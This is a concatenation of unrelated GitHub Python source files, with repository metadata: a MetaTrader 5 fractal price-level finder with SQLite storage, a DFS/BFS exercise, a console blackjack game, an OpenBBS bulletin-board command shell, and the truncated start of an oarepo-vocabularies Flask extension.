mt5.TIMEFRAME_M10: 3, mt5.TIMEFRAME_M12: 4, mt5.TIMEFRAME_M15: 5,\n# mt5.TIMEFRAME_M20: 7, mt5.TIMEFRAME_M30: 8, mt5.TIMEFRAME_H1: 16,\n# mt5.TIMEFRAME_H2: 16, mt5.TIMEFRAME_H3: 18, mt5.TIMEFRAME_H4: 20,\n# mt5.TIMEFRAME_H6: 20, mt5.TIMEFRAME_H8: 20, mt5.TIMEFRAME_H12: 22,\n# mt5.TIMEFRAME_D1: 25, mt5.TIMEFRAME_W1: 30, mt5.TIMEFRAME_MN1: 30}\n# \"\"\"Общий блок оповещения о том, что цена подошла к уровню\"\"\"\n# rates_frame, symbol_info = get_bars_one_tf(symbol, mt5.TIMEFRAME_M1, 1, 1, terminal)\n# last_price = rates_frame.iloc[-1].at['close']\n# point = symbol_info['point']\n# for lvl in set_lvl:\n# lvl_high = lvl + 3 * point\n# lvl_low = lvl - 3 * point\n# if (last_price >= lvl_low) and (last_price <= lvl_high) and alert:\n# play_alert(file_name=\"price_in_lvl_range.mp3\", duration_secs=5)\n# play_alert(file_name=f\"{symbol.split('-')[0].split()[0]}.mp3\", duration_secs=5)\n# print(f\"На символе {symbol} цена подошла к уровню {lvl}. {dt.datetime.now()}\")\n#\n# \"\"\"Частный блок оповещения о том, что цена уперлась в уровень\"\"\"\n# if only_m1:\n# list_tfs = full_tfs_enum_list[0:1]\n# else:\n# list_tfs = full_tfs_enum_list[:-2]\n# for tf_mini in list_tfs:\n# rates_frame, symbol_info = get_bars_one_tf(symbol, tf_mini, 1, 1, terminal)\n# high_price = rates_frame.iloc[-1].at['high']\n# low_price = rates_frame.iloc[-1].at['low']\n# open_price = rates_frame.iloc[-1].at['open']\n# close_price = rates_frame.iloc[-1].at['close']\n# point = symbol_info['point']\n# strategy = \"hit_in_lvl\"\n# global_alert_control_dict = global_alert_control_dict_init(global_alert_control_dict, strategy, symbol, tf_mini)\n# alert_list_tuples = [(\"hit_in_lvl.mp3\", 3), (f\"{full_tfs_enum_dict[tf_mini]}.mp3\", 4),\n# (f\"{symbol.split('-')[0].split()[0]}.mp3\", 3)]\n# for lvl in set_lvl:\n# lvl_high_border = lvl + tfs_in_pips_dict[tf_mini] * point\n# lvl_low_border = lvl - tfs_in_pips_dict[tf_mini] * point\n# if ((open_price >= lvl) and (close_price >= lvl)) and \\\n# ((low_price >= lvl) and (low_price <= lvl_high_border)):\n# signals_dict[symbol] = {\"gen_lvl\": lvl, \"lvl_high_border\": lvl_high_border, \"point\": point,\n# \"lvl_low_border\": lvl_low_border, \"rates_frame\": rates_frame,\n# \"offset_pips\": tfs_in_pips_dict[tf_mini], \"signal_direct\": \"up\"}\n# message = f\"На символе {symbol} удар в уровень сверху {lvl} {full_tfs_enum_dict[tf_mini]}. {dt.datetime.now()}\"\n# if alert:\n# global_alert_control_dict = common_save_and_play(global_alert_control_dict, strategy, symbol,\n# tf_mini, alert_list_tuples, message=message,\n# print_message=True, send_message=True)\n# elif ((open_price <= lvl) and (close_price <= lvl)) and \\\n# ((high_price <= lvl) and (high_price >= lvl_low_border)):\n# signals_dict[symbol] = {\"gen_lvl\": lvl, \"lvl_high_border\": lvl_high_border, \"point\": point,\n# \"lvl_low_border\": lvl_low_border, \"rates_frame\": rates_frame,\n# \"offset_pips\": tfs_in_pips_dict[tf_mini], \"signal_direct\": \"down\"}\n# message = f\"На символе {symbol} удар в уровень снизу {lvl} {full_tfs_enum_dict[tf_mini]}. {dt.datetime.now()}\"\n# if alert:\n# global_alert_control_dict = common_save_and_play(global_alert_control_dict, strategy, symbol,\n# tf_mini, alert_list_tuples, message=message,\n# print_message=True, send_message=True)\n# return global_alert_control_dict, signals_dict\n\n\ndef get_lvl_from_bd(symbol, terminal):\n \"\"\"функция возвращает уровни из бд по одному указанному символу\"\"\"\n columns_bd_lvl = ['id', 'symbol', 'tf_int', 'tf_sec', 'lvl_price']\n data = ()\n try:\n data = universal_request_to_bd(f\"select * from symbol_{symbol};\", terminal, return_data=True)\n except sl3.OperationalError:\n print(f\"Ошибка получения датафрейма {symbol}\")\n df_bd = pd.DataFrame(data=data, columns=columns_bd_lvl)\n return df_bd\n\n\n\"\"\"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Блок фрактального поиска уровней и их обработка~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\"\"\n\"Главная функция: finder_market_lvl_and_update_database, остальные вспомогательные.\"\n\n\ndef bar_fractal(n_row, rates_frame, var_fractal):\n \"\"\"Допфункция к get_first_fractal_df, определяет бар фрактал или нет\"\"\"\n direct_0 = rates_frame.iloc[n_row].at[var_fractal]\n direct_m1 = rates_frame.iloc[n_row-1].at[var_fractal]\n direct_p1 = rates_frame.iloc[n_row+1].at[var_fractal]\n if (direct_0 > direct_m1) and (direct_0 > direct_p1) and (var_fractal == \"high\"):\n return True\n elif (direct_0 < direct_m1) and (direct_0 < direct_p1) and (var_fractal == \"low\"):\n return True\n return False\n\n\ndef get_first_fractal_df(rates_frame):\n \"\"\"Функция от get_lvl_df получает первичный фрактальный датафрейм\"\"\"\n first_fractal_df = pd.DataFrame()\n rates_frame['fractal_var'] = ''\n for n_row in range(1, len(rates_frame)-1):\n fractal_high = bar_fractal(n_row, rates_frame, \"high\")\n fractal_low = bar_fractal(n_row, rates_frame, \"low\")\n if fractal_high:\n first_fractal_df = first_fractal_df.append(rates_frame.iloc[n_row])\n first_fractal_df['fractal_var'].iat[-1] = 'f_high'\n elif fractal_low:\n first_fractal_df = first_fractal_df.append(rates_frame.iloc[n_row])\n first_fractal_df['fractal_var'].iat[-1] = 'f_low'\n first_high_fractal_df = first_fractal_df.loc[first_fractal_df['fractal_var'] == 'f_high']\n first_low_fractal_df = first_fractal_df.loc[first_fractal_df['fractal_var'] == 'f_low']\n return first_fractal_df, first_high_fractal_df, first_low_fractal_df\n\n\ndef get_fractal_lvl(first_var_fractal_df, lvl, var_fractal):\n \"\"\"Функция от get_lvl_df получает уровневый фрактальный датафрейм\"\"\"\n new_lvl = first_var_fractal_df\n for n_lvl in range(lvl):\n start_lvl = new_lvl\n new_df = pd.DataFrame()\n for n_row in range(1, len(start_lvl)-1):\n fractal = bar_fractal(n_row, start_lvl, var_fractal)\n if fractal:\n new_df = new_df.append(start_lvl.iloc[n_row])\n new_lvl = new_df.copy()\n print(f\"Уровень {n_lvl}, длина уровня: {len(new_lvl)}\")\n del new_df\n return new_lvl\n\n\ndef get_common_lvl(fractal_lvl_high_df, fractal_lvl_low_df):\n \"\"\"Функция от get_lvl_df возвращает общий df\"\"\"\n df = pd.DataFrame()\n df = df.append([fractal_lvl_high_df, fractal_lvl_low_df])\n df = df.reset_index()\n df = df.sort_values(by='index', ascending=True)\n df = df.reset_index(drop=True)\n return df\n\n\ndef get_lvl_df(symbol, tf_e, start, finish, terminal):\n \"\"\"Основная функция от get_df_with_all_lvl\"\"\"\n # Получаю датафрейм с барами\n rates_frame, symbol_info = get_bars_one_tf(symbol, tf_e, start, finish, terminal)\n # Получаю первичный датафрейм с точками фракталов. Общий, хай фракталы и лоу фракталы\n first_fractal_df, first_high_fractal_df, first_low_fractal_df = get_first_fractal_df(rates_frame)\n # Получаю указанный уроверь фракталов\n fractal_lvl_high_df = get_fractal_lvl(first_high_fractal_df, 3, 'high')\n fractal_lvl_low_df = get_fractal_lvl(first_low_fractal_df, 3, 'low')\n fractal_lvl_common_df = get_common_lvl(fractal_lvl_high_df, fractal_lvl_low_df)\n return fractal_lvl_common_df\n\n\ndef db_create(symbol, terminal):\n \"\"\"функция от finder_market_lvl_and_update_database, пересоздает таблицу в бд\"\"\"\n conn, cur = create_connect_db_sqlite3(terminal)\n cur.execute(\n f\"drop table if exists symbol_{symbol};\"\n )\n cur.execute(\n f\"create table if not exists symbol_{symbol} (\"\n f\"id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL,\"\n f\"symbol text (50),\"\n f\"timeframe_int int,\"\n f\"timeframe_str text (20),\"\n f\"price_lvl real);\")\n close_connect_db_sqlite3(conn, cur)\n\n\ndef add_lvl_in_bd(df, symbol_table_name, terminal):\n \"\"\"функция от finder_market_lvl_and_update_database, добавляет уровни в базу данных\"\"\"\n symbol = df.iloc[0].at['symbol']\n \"here processing response list and comparison with response from database\"\n for line in df.index:\n timeframe_int = int(df.loc[line, 'tf_int'])\n timeframe_str = df.loc[line, 'tf']\n fractal_var = df.loc[line, 'fractal_var']\n if fractal_var == \"f_high\":\n price_lvl = df.loc[line, 'high']\n elif fractal_var == \"f_low\":\n price_lvl = df.loc[line, 'low']\n request = f\"insert into symbol_{symbol_table_name} \" \\\n f\"(symbol, timeframe_int, timeframe_str, price_lvl) values \" \\\n f\"('{symbol}', {timeframe_int}, '{timeframe_str}', {price_lvl});\"\n universal_request_to_bd(request, terminal)\n\n\ndef get_df_with_all_lvl(symbol, terminal):\n \"\"\"общая функция от finder_market_lvl_and_update_database,\n для всех рынков для получения всех уровней в одном датафрейме\"\"\"\n fractal_lvl_common_df_sum = pd.DataFrame()\n for req in [{'tf': mt5.TIMEFRAME_M15, 'start': 200, 'finish': 2000},\n {'tf': mt5.TIMEFRAME_H1, 'start': 100, 'finish': 2000},\n {'tf': mt5.TIMEFRAME_D1, 'start': 30, 'finish': 1500},\n {'tf': mt5.TIMEFRAME_W1, 'start': 8, 'finish': 400},\n {'tf': mt5.TIMEFRAME_MN1, 'start': 2, 'finish': 60}]:\n fractal_lvl_common_df = get_lvl_df(symbol, req['tf'], req['start'], req['finish'], terminal)\n fractal_lvl_common_df_sum = fractal_lvl_common_df_sum.append(fractal_lvl_common_df)\n for tf in [mt5.TIMEFRAME_W1, mt5.TIMEFRAME_MN1]:\n rates_frame, symbol_info = get_bars_one_tf(symbol, tf, 1, 2, terminal)\n rates_frame['fractal_var'] = \"\"\n rates_frame_new = pd.DataFrame()\n for i in range(2):\n rates_frame_new = rates_frame_new.append(rates_frame.iloc[-1])\n rates_frame_new['fractal_var'].iat[-1] = 'f_high'\n rates_frame_new['fractal_var'].iat[0] = 'f_low'\n fractal_lvl_common_df_sum = fractal_lvl_common_df_sum.append(rates_frame_new)\n fractal_lvl_common_df_sum = fractal_lvl_common_df_sum.reset_index(drop=True)\n return fractal_lvl_common_df_sum\n\n\n# def get_common_lvl_from_market(n_symbol, terminal):\n# \"\"\"Функция от finder_market_lvl_and_update_database, преобразует датафрейм уровней для биржи\"\"\"\n# symbol = symbols_splice_list[n_symbol]\n# fractal_lvl_common_df_sum = get_df_with_all_lvl(symbol, terminal)\n# fractal_lvl_common_df_sum['symbol'] = symbols_fuchers_list[n_symbol]\n# symbol = symbols_fuchers_list[n_symbol].replace('-', '_').replace('.', '_')\n# return symbol, fractal_lvl_common_df_sum\n\n\n# def finder_market_lvl_and_update_database(terminal):\n# \"\"\"Основная функция для обработки рыночных уровней\"\"\"\n# if terminal == 1:\n# for n_symbol in range(0, 4): #rangelen(symbols_splice_list)):\n# print(symbols_splice_list[n_symbol])\n# symbol, fractal_lvl_common_df = get_common_lvl_from_market(n_symbol, terminal)\n# print(f\"Символ перед подачей в базу: {symbol}\")\n# db_create(symbol, terminal)\n# add_lvl_in_bd(fractal_lvl_common_df, symbol, terminal)\n\n\n\"\"\"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Следующий блок~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\"\"\n\n\ndef get_bool_value_from_str(string: str):\n \"\"\"функция возвращает правильное преобразование в bool тип\"\"\"\n value = string.strip()\n return True if value == 'true' else False\n\n\ndef get_symbol_format_terminal(symbol):\n \"\"\"Преобразует формат символа SiM1 в Si-6.21\"\"\"\n return f\"{fuchers_code_to_fuchers_name[symbol[:-2]]}-{fuchers_mcode_to_fuchers_month[symbol[-2]]}.2{symbol[-1]}\"\n\n\ndef get_symbol_format_mcode(symbol):\n \"\"\"преобразует формат Si-6.21 в SiM1\"\"\"\n symbol, month, year = symbol.replace('.', '-').split('-')\n return f\"{symbol}{fuchers_fuchers_month_to_mcode[int(month)]}{year[-1]}\"\n\n\ndef symbol_is_format_code(symbol):\n \"\"\"Проверяет формат символа истина если символ фьючерс\"\"\"\n for i in list(fuchers_mcode_to_fuchers_month.keys()):\n if symbol[-2] == i:\n if '-' in symbol:\n return True\n return False\n\n\ndef symbol_is_terminal_variant(symbol):\n \"\"\"Проверяет короткий или длинный формат\"\"\"\n for i in list(fuchers_mcode_to_fuchers_month.keys()):\n if symbol[-2] == i:\n try:\n int(symbol[-1])\n return False\n except Exception as e:\n print(e)\n return True\n return True\n\n","repo_name":"Hardshokk/Stock_Connector_v2","sub_path":"common_files/common_functions.py","file_name":"common_functions.py","file_ext":"py","file_size_in_byte":46551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"70312083415","text":"from collections import deque\n\nD = deque()\n\nN, M, V = map(int, input().split())\nrelations = [[] for _ in range(N+1)]\nanswer = []\nvisits = [False] * 1001\nbreak_point = False\nfor i in range(M):\n a,b = map(int, input().split())\n relations[a].append(b)\n relations[b].append(a)\nfor i in range(len(relations)):\n relations[i].sort()\n\ndef DFS(idx):\n global break_point\n if not break_point:\n visits[idx] = True\n answer.append(idx)\n for i in relations[idx]:\n if not visits[i]:\n visits[i] = True\n DFS(i)\n else:\n return\n \n\nDFS(V)\nvisits[V] = False\nprint(*answer)\nvisits = [False] * 1001\nanswer.clear()\n\n\nanswer.append(V)\nD.append(V)\nvisits[V] = True\nwhile D:\n for i in relations[D.popleft()]:\n if not visits[i]:\n D.append(i)\n answer.append(i)\n visits[i] = True\nprint(*answer)\n\n","repo_name":"Fast-and-Steady/MoGakCo","sub_path":"sanghwje/BOJ1260DFSBFS.py","file_name":"BOJ1260DFSBFS.py","file_ext":"py","file_size_in_byte":909,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"74977737812","text":"from art import logo\nimport random\nfrom os import system\n\n\ndef ace_calculation(l_list):\n \"\"\"function to calculate value for ace in Blackjack\n\n Args:\n l_list (user_list or comp_list ): list for which user wants to replace value 11 or 1 & then increment if needed\n\n Returns:\n _type_: returns a list with replaced & increased total value that is more than 18.\n \"\"\"\n l_list = [1 if i == 11 else i for i in l_list]\n while sum(l_list) < 18:\n l_list.append(random.sample(list(set(cards)), 1)[0])\n return l_list\n\n\ndef calculate_winner(user_list, comp_list):\n \"\"\"function to calculate final winner based on the defined criterias\n\n Args:\n user_list (_type_): cards that user contains for particular game\n comp_list (_type_): cards that dealer/Computer contains for particular game\n \"\"\"\n print(f\"your final hand: {user_list}, final score: {sum(user_list)}\")\n print(f\"Computer's final hand: {comp_list}, final score: {sum(comp_list)}\")\n if sum(user_list) == 21:\n print(\"Congratulations! You win with a Blackjack!\")\n elif sum(comp_list) == 21:\n print(\"Oh no! Computer wins with a Blackjack!\")\n elif sum(user_list) > 21:\n print(\"You loose! you went over!\")\n elif sum(comp_list) > 21:\n print(\"You win! Computer went over!\")\n elif sum(user_list) > sum(comp_list):\n print(\"Congratulations! You win!\")\n elif sum(comp_list) > sum(user_list):\n print(\"Oh no! You loose. try again!\")\n elif sum(user_list) == sum(comp_list):\n print(\"It's a draw!\")\n\n\n# Start of the game\nprint(logo) # prints the Ascii art!\ncards = [11, 2, 3, 4, 5, 6, 7, 8, 9, 10, 10, 10, 10] # the actual deck of cards\n\nmain_loop = True\nwhile main_loop:\n # This is the outermost loop that decides if user (wants to/ continue to) play Blackjack or not\n cont = True\n user_play = input(\"Do you want to play a game of Blackjack? Type 'y' or 'n':\")\n while cont:\n if user_play == \"y\":\n system(\"cls\")\n print(logo)\n user_list = random.sample(list(set(cards)), 2) # deck for user\n comp_list = random.sample(list(set(cards)), 2) # deck for Computer / dealer\n\n print(f\"your cards: {user_list}, current score: {sum(user_list)}\")\n print(f\"Computer's first card:{comp_list[0]}\")\n\n if sum(user_list) == 21 or sum(comp_list) == 21:\n \"\"\"This loop checks if user wins directly with the blackjack or not!\"\"\"\n calculate_winner(user_list, comp_list)\n cont = False\n break\n\n should_continue = True\n while should_continue:\n play_again = input(\"Type 'y' to get another card, Type 'n' to pass:\")\n if play_again == \"n\":\n \"\"\"When User wants to quit the current game by saying \"pass\". Only Computer tries to get more cards\"\"\"\n if sum(comp_list) >= 18:\n # This means We can't increase more & it's time to identify the winner\n if sum(comp_list) > 21 and (11 in comp_list):\n comp_list = ace_calculation(comp_list)\n calculate_winner(user_list, comp_list)\n should_continue = False\n cont = False\n else:\n # Computer's deck total is still below 18 &\n # there's still chance to increase the total in order to go close to 21\n while sum(comp_list) < 18:\n comp_list.append(random.sample(list(set(cards)), 1)[0])\n if sum(comp_list) > 21 and (11 in comp_list):\n comp_list = ace_calculation(comp_list)\n calculate_winner(user_list, comp_list)\n should_continue = False\n cont = False\n\n elif play_again == \"y\":\n \"\"\"When player wants to continue drawing another card from the main deck!\"\"\"\n if sum(comp_list) <= 18:\n user_list.append(random.sample(list(set(cards)), 1)[0])\n comp_list.append(random.sample(list(set(cards)), 1)[0])\n if sum(comp_list) > 21 and (11 in comp_list):\n comp_list = ace_calculation(comp_list)\n elif sum(user_list) > 21 and (11 in user_list):\n user_list = ace_calculation(user_list)\n print(\n f\"your cards: {user_list}, current score: {sum(user_list)}\"\n )\n print(f\"Computer's first card:{comp_list[0]}\")\n if sum(user_list) >= 21 or sum(comp_list) >= 21:\n calculate_winner(user_list=user_list, comp_list=comp_list)\n should_continue = False\n cont = False\n else:\n user_list.append(random.sample(list(set(cards)), 1)[0])\n if sum(comp_list) > 21 and (11 in comp_list):\n comp_list = ace_calculation(comp_list)\n elif sum(user_list) > 21 and (11 in user_list):\n user_list = ace_calculation(user_list)\n print(\n f\"your cards: {user_list}, current score: {sum(user_list)}\"\n )\n print(f\"Computer's first card:{comp_list[0]}\")\n if sum(user_list) >= 21 or sum(comp_list) >= 21:\n calculate_winner(user_list=user_list, comp_list=comp_list)\n should_continue = False\n cont = False\n else:\n print(\"please input either 'y' or 'n':\")\n elif user_play == \"n\":\n # This stops the Program!\n main_loop = False\n break\n else:\n # To prevent user from pressing any other key\n print(\"Please enter either 'y' or 'n':\")\n","repo_name":"dsb00715/projects_100days","sub_path":"day11_Capstone_Blackjack/proj_day11.py","file_name":"proj_day11.py","file_ext":"py","file_size_in_byte":6212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"38151158100","text":"\"\"\"Interactive shell for communication between the client and BBS.\"\"\"\n\nimport logging\n\nfrom openbbs import __version__\nfrom openbbs.command import CommandInterpreter\nfrom openbbs.formatters import (box_boards, box_inbox, box_message,\n box_posts, box_thread)\n\n\ndef handle_bogus_input(user, parameters):\n \"\"\"Generic handler for invalid commands.\"\"\"\n user.send(\"Unknown command: \\\"%s\\\"\" % parameters[0])\n\n\ndef send_help_text(user, _):\n \"\"\"Sends the user a list of available commands.\"\"\"\n user.send(\"==================\\r\\nAVAILABLE COMMANDS\\r\\n==================\"\n \"\\r\\n[R]ULES\\t\\tPrint the rules of the BBS.\\r\\n\"\n \"[B]OARD\\t\\tChange to a specified board.\\r\\n\"\n \"[T]HREAD\\tOpen a given thread number.\\r\\n\"\n \"[RE]FRESH\\tRefresh the current listing.\\r\\n\"\n \"[P]OST\\t\\tMake a post or reply.\\r\\n\"\n \"[IN]FO\\t\\tPrint information about this BBS software.\\r\\n\"\n \"[Q]UIT\\t\\tExit the BBS.\")\n if user.status != \"coward\":\n user.send(\"[I]NBOX\\t\\tGet private messages.\\r\\n\"\n \"[M]ORE\\t\\tRead the full message.\\r\\n\"\n \"[S]END\\t\\tSend a private message.\")\n if user.status == \"sysop\":\n user.send(\"[D]ELETE\\tDelete a post\\r\\n\"\n \"[BA]N\\t\\tBan a username.\\r\\n\"\n \"[U]NBAN\\t\\tUnban a username.\\r\\n\"\n \"[O]P\\t\\tGive a user operator privileges.\\r\\n\"\n \"[DE]OP\\t\\tRevoke operator privileges from a user.\")\n\n\ndef send_rules(user, _, config):\n \"\"\"Sends the user the configuration-defined rules.\"\"\"\n user.send(config.get(\"rules\", \"\"))\n\n\ndef send_server_info(user, _):\n \"\"\"Sends the user information about the server software.\"\"\"\n user.send(\"OpenBBS Server Version %s.\\r\\nReleased under the GNU Affero \"\n \"General Public License Version 3+.\" % __version__)\n\n\ndef change_board(user, parameters, boards):\n \"\"\"Changes the user's current board, if valid.\"\"\"\n if len(parameters) > 1:\n board = parameters[1]\n else:\n user.send(\"Leave empty to return to the overboard.\\r\\nBOARD: \", end=\"\")\n board = user.receive().lower()\n\n if board in (board.split(\":\")[0].lower() for board in boards):\n user.send(box_posts(user.database.get_posts(board)))\n user.send(\"Board successfully changed to \\\"%s\\\".\" % board)\n user.current_board = board.lower()\n elif board == \"\":\n user.current_board = \"main\"\n user.send(box_boards(boards))\n user.send(\"Successfully returned to the overboard.\")\n else:\n user.send(\"Board \\\"%s\\\" does not exist on this BBS.\" % board)\n\n\ndef change_thread(user, parameters):\n \"\"\"Changes the user's current thread, if valid.\"\"\"\n if user.current_board == \"main\":\n user.send(\"There are no threads here.\")\n else:\n if len(parameters) > 1:\n thread = parameters[1]\n else:\n user.send(\"Leave empty to return to the thread listing.\\r\\nTHREAD \"\n \"NUMBER: \", end=\"\")\n thread = user.receive()\n\n if thread == \"\":\n user.current_thread = None\n user.send(box_posts(user.database.get_posts(user.current_board)))\n user.send(\"Returned to the %s home.\" % user.current_board)\n else:\n posts = user.database.get_posts(user.current_board, thread)\n if posts:\n user.current_thread = thread\n user.send(box_thread(posts))\n user.send(\"Current thread changed to %s.\" % thread)\n else:\n user.current_thread = None\n user.send(\"Thread %s does not exist.\" % thread)\n\n\ndef get_inbox(user, _):\n \"\"\"Sends the user their inbox, provided they are not anonymous.\"\"\"\n if user.status != \"coward\":\n messages = user.database.get_pms(user.name)\n if len(messages) == 0:\n user.send(\"Your inbox is empty.\")\n else:\n user.send(box_inbox(messages))\n else:\n user.send(\"You can't do that!\")\n\n\ndef get_more(user, parameters):\n if user.status != \"coward\":\n if len(parameters) > 1:\n message_id = parameters[1]\n else:\n user.send(\"MESSAGE ID: \", end=\"\")\n message_id = user.receive()\n message = user.database.get_specific_pm(user.name, message_id)\n if message:\n user.send(box_message(message))\n else:\n user.send(\"Message does not exist, or does not belong to you.\")\n else:\n user.send(\"You can't do that!\")\n\n\ndef make_post(user, _):\n \"\"\"Makes a post in the database, if possible.\"\"\"\n if user.current_board == \"main\":\n user.send(\"You can't post on the overboard.\")\n else:\n if user.current_thread:\n user.send(\"REPLY: \", end=\"\")\n body = user.receive()\n user.database.make_post(user.name, None, body, user.current_board,\n reply=user.current_thread)\n user.send(\"Successfully posted.\")\n else:\n user.send(\"SUBJECT: \", end=\"\")\n subject = user.receive()\n user.send(\"BODY: \", end=\"\")\n body = user.receive()\n user.database.make_post(user.name, subject, body,\n user.current_board)\n user.send(\"Successfully posted.\")\n\n\ndef refresh_all(user, _, boards):\n \"\"\"Gets the latest posts or threads, depending on where the user is\n in the BBS.\n \"\"\"\n if user.current_thread:\n user.send(box_thread(user.database.get_posts(user.current_board,\n user.current_thread)))\n elif user.current_board == \"main\":\n user.send(box_boards(boards))\n else:\n user.send(box_posts(user.database.get_posts(user.current_board)))\n\n\ndef send_message(user, parameters):\n \"\"\"Sends a private message to a user, if possible.\"\"\"\n if user.status != \"coward\":\n if len(parameters) > 1:\n receiver = parameters[1].lower()\n else:\n user.send(\"RECEIVER: \", end=\"\")\n receiver = user.receive().lower()\n if len(parameters) > 2:\n message = parameters[2]\n else:\n user.send(\"MESSAGE: \", end=\"\")\n message = user.receive()\n if user.database.send_pm(user.name, receiver, message):\n user.send(\"Message successfully sent.\")\n else:\n user.send(\"User %s does not exist.\" % receiver)\n else:\n user.send(\"You can't do that!\")\n\n\ndef delete_post(user, parameters):\n \"\"\"Deletes a post if the user has that capability.\"\"\"\n if user.status == \"sysop\":\n if len(parameters) > 1:\n try:\n target = int(parameters[1])\n except ValueError:\n user.send(\"Invalid post number.\")\n target = None\n else:\n user.send(\"POST ID: \", end=\"\")\n try:\n target = int(user.receive())\n except ValueError:\n user.send(\"Invalid post number.\")\n target = None\n if target is not None:\n user.database.delete_post(target)\n user.send(\"Post %d successfully deleted.\" % target)\n else:\n user.send(\"You can't do that!\")\n\n\ndef ban_user(user, parameters):\n \"\"\"Bans a user if the user has that capability.\"\"\"\n if user.status == \"sysop\":\n if len(parameters) > 1:\n target = parameters[1]\n else:\n user.send(\"USER: \", end=\"\")\n target = user.receive()\n if len(parameters) > 2:\n reason = parameters[2]\n else:\n user.send(\"REASON: \", end=\"\")\n reason = user.receive()\n user.database.ban_user(reason, username=target)\n user.send(\"User %s successfully banned.\" % target)\n else:\n user.send(\"You can't do that!\")\n\n\ndef unban_user(user, parameters):\n \"\"\"Unbans a user if the user has that capability.\"\"\"\n if user.status == \"sysop\":\n if len(parameters) > 1:\n target = parameters[1]\n else:\n user.send(\"USER: \", end=\"\")\n target = user.receive()\n user.database.unban_user(username=target)\n user.send(\"User %s successfully unbanned.\" % target)\n else:\n user.send(\"You can't do that!\")\n\n\ndef op_user(user, parameters):\n \"\"\"Op's a user if the user has that capability.\"\"\"\n if user.status == \"sysop\":\n if len(parameters) > 1:\n target = parameters[1]\n else:\n user.send(\"USER: \", end=\"\")\n target = user.receive()\n user.database.make_op(target)\n user.send(\"User %s successfully sysop'd.\" % target)\n else:\n user.send(\"You can't do that!\")\n\n\ndef deop_user(user, parameters):\n \"\"\"Deop's a user if the user has that capability.\"\"\"\n if user.status == \"sysop\":\n if len(parameters) > 1:\n target = parameters[1]\n else:\n user.send(\"USER: \", end=\"\")\n target = user.receive()\n user.database.remove_op(target)\n user.send(\"User %s successfully deop'd.\" % target)\n else:\n user.send(\"You can't do that!\")\n\n\ndef shell(user, config):\n \"\"\"Handles basic commands from the currently connected client.\"\"\"\n boards = config.get(\"boards\").split(\",\")\n\n command = [\"DEFAULT\", \"NULL\"]\n command_interpreter = CommandInterpreter(handle_bogus_input, (), (user,))\n command_interpreter.add((\"help\", \"h\"), send_help_text, ())\n command_interpreter.add((\"rules\", \"r\"), send_rules, (config,))\n command_interpreter.add((\"info\", \"in\"), send_server_info, ())\n command_interpreter.add((\"board\", \"b\"), change_board, (boards,))\n command_interpreter.add((\"thread\", \"t\"), change_thread, ())\n command_interpreter.add((\"inbox\", \"i\"), get_inbox, ())\n command_interpreter.add((\"more\", \"m\"), get_more, ())\n command_interpreter.add((\"refresh\", \"re\"), refresh_all, (boards,))\n command_interpreter.add((\"post\", \"p\"), make_post, ())\n command_interpreter.add((\"send\", \"s\"), send_message, ())\n command_interpreter.add((\"delete\", \"d\"), delete_post, ())\n command_interpreter.add((\"ban\", \"ba\"), ban_user, ())\n command_interpreter.add((\"unban\", \"u\"), unban_user, ())\n command_interpreter.add((\"op\", \"o\"), op_user, ())\n command_interpreter.add((\"deop\", \"de\"), deop_user, ())\n\n user.send(box_boards(boards))\n user.send(\"Enter \\\"[H]ELP\\\" to see available commands.\")\n\n while True:\n user.send(\"[%s@%s %s]$ \" % (user.name, config.get(\"name\"),\n user.current_board), end=\"\")\n command = user.receive().lower().split(\" \")\n logging.info(\"\\\"%s\\\" command received from %s.\", \" \".join(command),\n user.name)\n if command[0] == \"quit\" or command[0] == \"q\":\n break\n else:\n command_interpreter.call(command)\n\n user.send(config.get(\"quit\"))\n","repo_name":"kkaragitz/openbbs","sub_path":"openbbs/shell.py","file_name":"shell.py","file_ext":"py","file_size_in_byte":10962,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"6779121804","text":"class OARepoVocabularies(object):\n \"\"\"OARepo extension of Invenio-Vocabularies.\"\"\"\n\n def __init__(self, app=None):\n \"\"\"Extension initialization.\"\"\"\n self.type_resource = None\n self.type_service = None\n if app:\n self.init_app(app)\n\n def init_app(self, app):\n \"\"\"Flask application initialization.\"\"\"\n self.init_config(app)\n self.init_services(app)\n self.init_resource(app)\n app.extensions[\"oarepo-vocabularies\"] = self\n\n def init_services(self, app):\n \"\"\"Initialize services.\"\"\"\n self.type_service = app.config[\"OAREPO_VOCABULARY_TYPE_SERVICE\"](\n config=app.config[\"OAREPO_VOCABULARY_TYPE_SERVICE_CONFIG\"](),\n )\n\n def init_config(self, app):\n \"\"\"Initialize configuration.\"\"\"\n from . import config, ext_config\n\n for k in dir(config):\n if k.startswith(\"OAREPO_VOCABULARIES_\"):\n app.config.setdefault(k, getattr(config, k))\n if k.startswith(\"OAREPO_VOCABULARY_\"):\n app.config.setdefault(k, getattr(config, k))\n if k.startswith(\"DEFAULT_DATASTREAMS_\"):\n app.config.setdefault(k, {}).update(getattr(config, k))\n if k.startswith(\"DATASTREAMS_CONFIG_GENERATOR_\"):\n app.config.setdefault(k, getattr(config, k))\n if k.startswith(\"VOCABULARIES\"):\n app.config.setdefault(k, getattr(config, k))\n app.config.setdefault(\n \"VOCABULARIES_FACET_CACHE_SIZE\", config.VOCABULARIES_FACET_CACHE_SIZE\n )\n app.config.setdefault(\n \"VOCABULARIES_FACET_CACHE_TTL\", config.VOCABULARIES_FACET_CACHE_TTL\n )\n app.config.setdefault(\n \"INVENIO_VOCABULARY_TYPE_METADATA\", config.INVENIO_VOCABULARY_TYPE_METADATA\n )\n\n if \"OAREPO_PERMISSIONS_PRESETS\" not in app.config:\n app.config[\"OAREPO_PERMISSIONS_PRESETS\"] = {}\n\n for k in ext_config.OAREPO_VOCABULARIES_PERMISSIONS_PRESETS:\n if k not in app.config[\"OAREPO_PERMISSIONS_PRESETS\"]:\n 